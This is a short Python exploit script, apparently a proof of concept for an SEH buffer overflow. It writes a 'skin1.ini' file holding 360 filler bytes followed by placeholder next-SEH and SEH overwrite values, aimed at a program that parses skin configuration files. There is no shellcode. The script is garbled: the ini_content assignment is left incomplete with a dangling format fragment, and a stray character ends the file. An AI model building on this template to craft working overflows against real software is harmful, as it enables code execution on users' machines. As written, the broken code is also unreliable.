from struct import pack
filename = "skin1.ini"
junk = "\x41" * 360
nextSEH = "\xcc\xcc\xcc\xcc"
SEH = "\xbb\xbb\xbb\xbb"
trigger_seh = junk + nextSEH + SEH
ini_content =
% (trigger_seh)
textfile = open (filename , 'wb' )
textfile.write(ini_content)
textfile.close()
|